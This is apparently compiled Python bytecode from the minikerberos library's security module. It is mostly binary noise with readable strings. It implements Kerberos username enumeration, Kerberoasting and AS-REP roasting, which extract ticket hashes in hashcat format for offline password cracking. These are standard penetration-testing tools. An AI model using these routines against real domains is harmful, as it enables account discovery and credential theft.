
    5i                     h   d dl Z d dlZd dlmZ d dlmZ d dlmZ d dlm	Z	 d dl
mZ d dlmZ d dlmZmZ d dlmZ d d	lmZmZmZmZmZmZmZ d d
lmZ d dlmZmZ d dlmZ d dl m!Z! dedee"         de"fdZ#g ddfde!dee"         de"dee$         de%f
dZ&g dfdedee"         de"dee$         fdZ'dS )    N)logger)AIOKerberosClient)AIOKerberosClientSocket)KerberosSPN)KerberosTarget)KerberosCredential)TGSTicket2hashcatTGTTicket2hashcat)PrincipalName
KDCOptionsPADATA_TYPEPA_PAC_REQUEST	krb5_pvnoKDC_REQ_BODYAS_REQ)KerberosErrorCode)	NAME_TYPEMESSAGE_TYPE)List)KerberosClientFactorytarget	usernamesdomainc                \  K   dt           dt           fd}|D ]}t          |           } |||          }|                    |                                d           d {V }|j        dk    r
|d|d fW V  a|j        d         t          j        j        k    r
|d|d fW V  |d|d fW V  d S )	Nusernamer   c                    t           j                             t           j        j                  x}}i }t	          t          g d                    |d<   t          t          j        j	        | gd          |d<   |
                                |d<   t          t          j        j	        d|
                                gd          |d<   |t          j        d	          z                       d
          |d<   |t          j        d	          z                       d
          |d<   t          j        d          |d<   g d|d<   i }t          t!          d                    |d<   t#          ddi                                          |d<   i }t&          |d<   t(          j        j	        |d<   |g|d<   t-          |          |d<   t/          |          S )N)forwardable	renewable	proxiablezkdc-options)z	name-typezname-stringcnamerealmkrbtgtsname   )daysr   )microsecondtillrtime   nonce         etypezPA-PAC-REQUESTzpadata-typezinclude-pacTzpadata-valuepvnozmsg-typepadatazreq-body)datetimenowtimezoneutcr   setr   r   	PRINCIPALvalueupper	timedeltareplacesecretsrandbitsintr   r   dumpr   r   
KRB_AS_REQr   r   )r   r   r3   kdc_req_body	pa_data_1kdc_reqs         K/home/kali/Ninja/venv/lib/python3.11/site-packages/minikerberos/security.pyconstruct_tgt_reqz'krb5userenum.<locals>.construct_tgt_req   s   ##H$5$9:::#, *3/V/V/V+W+W X X,}'i6I6Oai`j(k(kll,w ,,..,w'i6I6Oaikqkwkwkyky`z({({||,w!3!;!;!;;DDQRDSS,v!3!;!;!;;DDQRDSS,w!*2..,w&,,,w) -=!>!>??)M,mT-BCCHHJJ)N''&/$/5'* k'($\22'*	    F)throw	KRB_ERRORTz
error-code)	strr   sendrecvr?   namenativer   KDC_ERR_PREAUTH_REQUIREDr8   )r   r   r   rE   r   ksocreqreps           rD   krb5userenumrQ      s
      C    0  # #X	 	(	($(F++#mmCHHJJm66666666#X	4d	""""""
z,#4#M#SSS	5#t	###### 
4d	""""""# #rF   r+   Ffactoryoverride_etypecross_domainc           
       K   t          |t                    s|g}t          |t                    s|g}|D ]}	 |                                 }|                    |d           d {V  t	          j        |d|          }|}|du r9|                    |j                   d {V \  }	}	}	}
|
                                }|                    ||           d {V \  }}	}	|t          |          d fW V  # t          $ rG}t          j        d|dt          |                     |d t          |          fW V  Y d }~d }~ww xY wd S )NFrS   decrypt_tgt@T)rS   z"Failed to get TGS ticket for user z
! Reason: )
isinstancelist
get_clientget_TGTr   from_upnget_referral_ticketr   get_TGSr	   	Exceptionr   debugrI   )rR   r   r   rS   rT   r   kcommspnkcommnew_new_factorytgses                rD   
kerberoastri   ?   s     9d## k)>4(( $"#.    X 5	e	L	LLLLLLLL		66:	;	;38d!&!:!:3:!F!FFFFFFFAq![%%''H%%cN%KKKKKKKK931	$S))4	//////	      	<<hhhPSTUPVPVPVWXXX	4Q	    s   B?C99
E
<EE
c                  K   t          |t                    s|g}t          |t                    s|g}|D ]}	 t                      }||_        ||_        t          ||           }|                    |d           d {V  |t          |j                  d fW V  g# t          $ rF}t          j        d|j        d|j        dt          |                     |d |fW V  Y d }~d }~ww xY wd S )NFrV   zError while roasting client /z	 Reason: )rY   rZ   r   r   r   r   r\   r
   kerberos_TGTr`   r   ra   rI   )r   r   r   rS   r   credrb   rh   s           rD   
asreproastrn   V   sB     9d## k)>4(( $"#. 
 
X	


44;4=T6**5	e	L	LLLLLLLL	$U%788$	>>>>>>	   	<<$+++t}}}^abc^d^d^defff	4	
 
s   A#B
C,&<C''C,)(r2   r<   minikerberosr   minikerberos.aioclientr   $minikerberos.network.aioclientsocketr   minikerberos.common.spnr   minikerberos.common.targetr   minikerberos.common.credsr   minikerberos.common.utilsr	   r
   "minikerberos.protocol.asn1_structsr   r   r   r   r   r   r   minikerberos.protocol.errorsr   minikerberos.protocol.constantsr   r   typingr   minikerberos.common.factoryr   rI   rQ   r>   boolri   rn    rF   rD   <module>r}      s>           4 4 4 4 4 4 H H H H H H / / / / / / 5 5 5 5 5 5 8 8 8 8 8 8 J J J J J J J J      > > > > > > > > > > > > > > > > > > ; : : : : : C C C C C C C C       = = = = = ='#n '#S	 '## '# '# '# '#T q{pzpz  QV    2  d3i  PS  dhildm    JN        . ishrhr  N d3i  \`ad\e      rF   